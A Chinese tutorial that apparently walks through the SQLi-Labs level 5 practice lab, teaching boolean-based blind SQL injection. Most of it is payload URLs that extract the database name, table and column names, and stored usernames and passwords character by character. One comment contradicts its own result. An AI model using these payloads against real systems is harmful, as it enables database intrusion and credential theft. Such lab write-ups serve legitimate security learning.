文章目录
1. SqliLab_Mysql_Injection详解_字符型注入(二)
1.1. SQL注入_布尔盲注
1.1.1. 原理
由于服务器在接受请求后,返回的页面存在无报错,无回显的情况,这时候如果再利用UNION联合查询法查看显位就失效了,只能基于SQL语句的True or False,并通过页面的不同(显示正确或者错误)来判断,从而达到注入的目的来获取相应的信息;
1.1.2. 布尔盲注的核心思想
正确时,页面返回正常;不正确时,页面返回异常;
1.1.3. 布尔盲注的常用函数
- count() :计算结果集的数量;
- length(str): 返回指定字符串的长度;
- ascii(a)/ord(a):将a转换成其ASCII值;
- left(a,b):从左往右截取字符串a的前b个字符;
- substr(string,start,len)/substring(string,start,len) ,从string的start位开始截取len个字符;
1.1.4. 布尔盲注一般流程:
- 求闭合字符(判断注入点)
- 求当前数据库的长度(查询数据库)
- 求当前数据库名的ascii值(查询数据库)
- 求表名的数量(查询表)
- 求表名的长度(查询表)
- 求表名对应的ascii值(查询表)
- 求列名的数量(查询字段)
- 求列名的长度(查询字段)
- 求列名对应的ascii值(查询字段)
- 求字段的数量(查询字段值)
- 求字段内容的长度(查询字段值)
- 求字段内容对应的ascii值(查询字段值)
2. SqliLab关卡(包含5)(图片占据空间太大,payload返回情况均写在每条payload下的注释中)
2.1. SqliLab-5(布尔盲注(’)闭合)):
2.1.1. 初始页面
2.1.2. 判断注入点
由初始界面显示知道,可以看到‘id’为输入参数,所以构造判断注入点链接;
尝试使用一般的单引号(’)闭合参数;
EG:
> http://192.168.1.104/sql/Less-5/?id=1' and 1=1 --+
//服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
----------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and 1=2 --+
//服务器返回页面错误(预期错误),判断出参数‘id’存在注入,闭合字符为【'】;
由此,判断出参数‘id’存在注入(or/xor一样),闭合字符为【’】;
2.1.3. 猜解字段
使用order by 构造链接;
EG:
> http://192.168.1.104/sql/Less-5/?id=1' order by 1--+
//服务器返回页面正常,则再尝试下面链接:
-------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' order by 2--+
//服务器返回页面正常,则再尝试下面链接:
-------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' order by 3--+
//服务器返回页面正常,则再尝试下面链接:
-------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' order by 4--+
//服务器返回页面错误,则猜解出字段长度为(3);
由此,判断出字段长度为(3);
2.1.4. 求当前数据库的长度
经过上面两步的操作,可以发现,服务器在接受请求后,返回的页面存在报错,无回显的情况,这时候如果再利用UNION联合查询法查看显位就失效了,只能基于SQL语句的True or False或者利用updatexml(),extracevalue(),flool(rand())等函数进行报错注入,但这里主要讲解盲注内容,所以不详细介绍报错注入;
使用length()函数求数据库长度;
EG:
> http://192.168.1.104/sql/Less-5/?id=1' and length(database())=1--+
//服务器返回页面错误,则再尝试下面链接:
> http://192.168.1.104/sql/Less-5/?id=1' and length(database())=2--+
//服务器返回页面错误,则再尝试下面链接:
...
> http://192.168.1.104/sql/Less-5/?id=1' and length(database())=7--+
//服务器返回页面错误,则再尝试下面链接:
> http://192.168.1.104/sql/Less-5/?id=1' and length(database())=8--+
//服务器返回页面错误,数据库名的长度为(8);
查询到当前数据库名的长度为(8);
2.1.5. 求当前数据库名(字符或者ASCII值)
使用left()函数(求字符)(a~z,A~Z)或者用ascii()函数和substr(string,start,len)/substring(string,start,len) 函数(求ASCII值(共128个))(65~122),得到ASCII值再转换成字符;
求字符:
EG:
> http://192.168.1.104/sql/Less-5/?id=1' and left(database(),1)='a'--+
//服务器返回页面错误,则再尝试下面链接(查询数据库名的第一个字符):
-----------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and left(database(),1)='b'--+
//服务器返回页面错误,则再尝试下面链接:
-----------------------------------------------------------------------------
...
-----------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and left(database(),1)='s'--+
//服务器返回页面正确,得到数据库名的第一个字符为(s),然后求第二个字符;
-----------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and left(database(),2)='sa'--+
//服务器返回页面错误,则再尝试下面链接(查询数据库名的第二个字符):
-----------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and left(database(),2)='sb'--+
//服务器返回页面错误,则再尝试下面链接:
-----------------------------------------------------------------------------
...
-----------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and left(database(),8)='securita'--+
//服务器返回页面错误,则再尝试下面链接(查询数据库名的第八个字符):
-----------------------------------------------------------------------------
...
-----------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and left(database(),8)='security'--+
//服务器返回页面正确,数据库名长度为(8),其值为(security);
查询到当前数据库名的值为(security);
求ASCII值(一般是大小写字母混合,如果有其他特殊字符只能从0到127逐个尝试了):
EG:
> http://192.168.1.104/sql/Less-5/?id=1' and ascii(substr(database(),1,1))='65'--+
//服务器返回页面错误,则再尝试下面链接(查询数据库名的第一个字符的ASCII值):
-----------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and ascii(substr(database(),1,1))='66'--+
//服务器返回页面错误,则再尝试下面链接:
-----------------------------------------------------------------------------------
...
-----------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and ascii(substr(database(),1,1))='115'--+
//服务器返回页面正确,得到数据库名的第一个字符的ASCII值为(115),然后求第二个字符的ASCII值:
-----------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and ascii(substr(database(),2,1))='65'--+
//服务器返回页面错误,则再尝试下面链接(查询数据库名的第二个字符ASCII值):
-----------------------------------------------------------------------------------
...
-----------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and ascii(substr(database(),8,1))='121'--+
//服务器返回页面正确,数据库名长度为(8),第八个字符的ASCII值为(121);
依次得到数据库名的字符的ASCII值为(115,101,99,117,114,105,116,121)转换字符为(security);
2.1.6. 求当前数据库中表的数量
使用count()函数求数据库中的表的数量;
EG:
> http://192.168.1.104/sql/Less-5/?id=1' and (select count(table_name) from information_schema.tables
where table_schema=database())=1--+
//服务器返回页面错误,则再尝试下面链接:
-----------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and (select count(table_name) from information_schema.tables
where table_schema=database())=2--+
//服务器返回页面错误,则再尝试下面链接:
-----------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and (select count(table_name) from information_schema.tables
where table_schema=database())=3--+
//服务器返回页面错误,则再尝试下面链接:
------------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and (select count(table_name) from information_schema.tables
where table_schema=database())=4--+
//服务器返回页面正确,‘security’数据库中表的个数为(4);
查询到当前数据库‘security’中的表的个数为(4);
2.1.7. 求当前数据库中的各个表的长度
使用length()函数判断数据库中表的长度,使用limit来选择要判断的表;
EG:
> http://192.168.1.104/sql/Less-5/?id=1' and length((select table_name from information_schema.tables
where table_schema=database() limit 0,1))=1 --+
//服务器返回页面错误,则再尝试下面链接(查询第一个表的长度):
-----------------------------------------------------------------------------------------------------
...
-----------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and length((select table_name from information_schema.tables
where table_schema=database() limit 0,1))=6 --+
//服务器返回页面正确,得到第一个表的长度为(6),然后求第二个表的长度;
> http://192.168.1.104/sql/Less-5/?id=1' and length((select table_name from information_schema.tables
where table_schema=database() limit 1,1))=1 --+
//服务器返回页面错误,则再尝试下面链接(查询第二个表的长度):
-----------------------------------------------------------------------------------------------------
...
-----------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and length((select table_name from information_schema.tables
where table_schema=database() limit 3,1))=5 --+
//服务器返回页面正确,得到第四个表的长度为(5);
查询到当前数据库‘security’中的各个表的长度依次为(6,8,7,5);
2.1.8. 求当前数据库中的各个表的表名(字符或者ASCII值)
使用left()函数(求字符)(a~z,A~Z)或者用ascii()函数和substr(string,start,len)/substring(string,start,len) 函数(求ASCII值(共128个))(65~122),得到ASCII值再转换成字符;
求字符:
EG:
> http://192.168.1.104/sql/Less-5/?id=1' and left((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1)='a' --+
//服务器返回页面错误,则再尝试下面链接(查询第一个表的第一个字符):
---------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and left((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1)='b' --+
//服务器返回页面错误,则再尝试下面链接:
---------------------------------------------------------------------------------------------------
...
---------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and left((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1)='e' --+
//服务器返回页面正确,查询到第一个表的第一个字符为(e);
---------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and left((select table_name from information_schema.tables
where table_schema=database() limit 0,1),2)='ea' --+
//服务器返回页面错误,则再尝试下面链接:
---------------------------------------------------------------------------------------------------
...
---------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and left((select table_name from information_schema.tables
where table_schema=database() limit 0,1),6)='emails' --+
//服务器返回页面正确,查询到第一个表的第六个字符为(s),第一个表名为(emails);
---------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and left((select table_name from information_schema.tables
where table_schema=database() limit 1,1),1)='a' --+
//服务器返回页面错误,则再尝试下面链接(查询第二个表的第一个字符):
---------------------------------------------------------------------------------------------------
...
---------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and left((select table_name from information_schema.tables
where table_schema=database() limit 3,1),5)='users' --+
//服务器返回页面正确,查询到第四个表的的第五个字符为(s),第四个表名为(users);
查询到‘security’数据库四个表的表名分别为(emails,referers,uagents,users);
也可以考虑采用求ASCII值的方式(使用ascii()函数和substr(string,start,len)/substring(string,start,len) 函数),求当前数据库中的各个表的表名(一般是大小写字母混合,如果有其他特殊字符只能从0到127逐个尝试了):
EG:
> http://192.168.1.104/sql/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))=101 --+
//服务器返回页面正确,查询到第一个表的第一个字符的ASCII值为(101),转换为字符为(e);
2.1.9. 求‘users’表中的字段数量
使用count()函数求‘users’表中的字段的数量;
EG:
> http://192.168.1.104/sql/Less-5/?id=1' and (select count(column_name) from information_schema.columns
where table_name='users')=1--+
//服务器返回页面错误,则再尝试下
-------------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and (select count(column_name) from information_schema.columns
where table_name='users')=2--+
//服务器返回页面错误,则再尝试下
-------------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and (select count(column_name) from information_schema.columns
where table_name='users')=3--+
//服务器返回页面正确,查询到users’表中的字段数量为(3);
查询到users’表中的字段数量为(3)(同第二步中使用order by 查询用户表到的结果一致);
2.1.10. 求‘users’表中的各个字段的长度
使用length()函数判断数据库中表的长度,使用limit来选择要判断的表;
EG:
> http://192.168.1.104/sql/Less-5/?id=1' and length((select column_name from information_schema.columns
where table_name='users' limit 0,1))=1 --+
//服务器返回页面错误,则再尝试下(查询第一个字段长度):
-------------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and length((select column_name from information_schema.columns
where table_name='users' limit 0,1))=2 --+
//服务器返回页面正确,‘users’表中的第一个字段的长度为(2),尝试判断第二个字段的长度;
-------------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and length((select column_name from information_schema.columns
where table_name='users' limit 1,1))=1 --+
//服务器返回页面错误,则再尝试下
-------------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and length((select column_name from information_schema.columns
where table_name='users' limit 2,1))=8 --+
//服务器返回页面正确,‘users’表中的第三个字段的长度为(8)
查询到‘users’表中的各个字段的长度依次为(2,8,8);
2.1.11. 求‘users’表中的各个字段的值(字符或者ASCII值)
使用left()函数(求字符)(a~z,A~Z)或者用ascii()函数和substr(string,start,len)/substring(string,start,len) 函数(求ASCII值(共128个))(65~122),得到ASCII值再转换成字符;
求字符:
EG:
> http://192.168.1.104/sql/Less-5/?id=1' and left((select column_name from information_schema.columns
where table_name='users' limit 0,1),1)='a' --+
//服务器返回页面错误,则再尝试下(查询第一个字段的第一个字符):
-----------------------------------------------------------------------------------------------------
...
-----------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and left((select column_name from information_schema.columns
where table_name='users' limit 0,1),1)='i' --+
//服务器返回页面正确,查询到第一个字段的第一个字符为(i),然后查询第一个字段的第二个字符):
-----------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and left((select column_name from information_schema.columns
where table_name='users' limit 0,1),2)='ia' --+
//服务器返回页面错误,则再尝试下(查询第一个字段的第二个字符):
-----------------------------------------------------------------------------------------------------
...
-----------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and left((select column_name from information_schema.columns
where table_name='users' limit 2,1),8)='passwora' --+
//服务器返回页面错误,则再尝试下(查询第三个字段的第八个字符):
-----------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and left((select column_name from information_schema.columns
where table_name='users' limit 2,1),8)='password' --+
//服务器返回页面正确,查询到第三个字段的第八个字符为(d),第三个字段值为(password);
查询到‘users’表中的三个字段的值依次为(id,username,password);
也可以考虑采用求ASCII值的方式(使用ascii()函数和substr(string,start,len)/substring(string,start,len) 函数),求‘users’表中的各个字段的值(一般是大小写字母混合,如果有其他特殊字符只能从0到127逐个尝试了):
EG:
> http://192.168.1.104/sql/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns
where table_name='users' limit 0,1),1,1))=105 --+
//服务器返回页面正确,查询到第一个字段的第一个字符的ASCII值为(105),转换为字符为(i);
2.1.12. 求‘users’表中的各个字段的值的信息(字符或者ASCII值)
使用left()函数(求字符)(a~z,A~Z,0~9)或者用ascii()函数和substr(string,start,len)/substring(string,start,len) 函数(求ASCII值(共128个)),得到ASCII值再转换成字符;
求‘users’表中的第一个字段‘id’的第一条信息;
求字符:
EG:
> http://192.168.1.104/sql/Less-5/?id=1' and left((select id from users limit 0,1),1)='1' --+
服务器返回页面正确,查询到第一个字段‘id’的第一条信息的第一个字符为(1);
求ASCII值:
EG:
> http://192.168.1.104/sql/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))=49 --+
//服务器返回页面正确,查询到第一个字段‘id’的第一条信息的第一个字符的ASCII值为(49),转换为字符为(1);
同理对于字段(username,password)的值信息也是采取一样的方式进行查询;
求字符:
EG:
> http://192.168.1.104/sql/Less-5/?id=1' and left((select username from users limit 0,1),1)='D' --+
//服务器返回页面正确,查询到第二个字段‘username’的第一条信息的第一个字符为(D);
---------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and left((select password from users limit 0,1),1)='D' --+
//服务器返回页面正确,查询到第三个字段‘password’的第一条信息的第一个字符为(D);
求ASCII值:
EG:
> http://192.168.1.104/sql/Less-5/?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+
//服务器返回页面正确,查询到第二个字段‘username’的第一条信息的第一个字符的ASCII值为(68),转换为字符为(D);
-------------------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-5/?id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 --+
//服务器返回页面正确,查询到第三个字段‘password’的第一条信息的第一个字符的ASCII值为(68),转换为字符为(D);
查询其他的值也是同上面的方法一致;到此,SQL注入(布尔盲注)基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqliLab-5结束。
3. 总结
通过上面的过程,可以知道,布尔盲注相当的费时间,能用更加快捷的方式得到想要的结果才是最佳选择(这里只是通过SqliLab-5展示了一下布尔盲注的一般基础流程);比如一开始进行注入点判断的时候,发现服务器返回的页面,显示了错误的连接信息,只要判断了注入点和闭合字符,可以考虑采用报错注入的方式获取想要的信息;还有就是采用脚本进行注入,可以发现,上面的注入payload多数是相同的,只有个别少数的函数参数在发生变化,脚本通过抓取服务器返回页面的不同,来判断payload是否返回了正确的结果(如在这关中,正确时,页面html页面有一个(You are in.......... )字符串,而错误的时候则没有);然后就是使用工具进行注入了,如使用神器BURPSUIT进行盲注,最后,通常要进行盲注时候,一般采取求ASCII值的方式来获取信息相对比较快。
[如有错误,请指出,拜托了<( _ _ )> !!!]
[关于Floor、ExtractValue、UpdateXml报错注入可以查看:
(Gundam-:MYSQL floor 报错注入详解)
(Gundam-:MYSQL ExtractValue、UpdateXml报错注入详解)]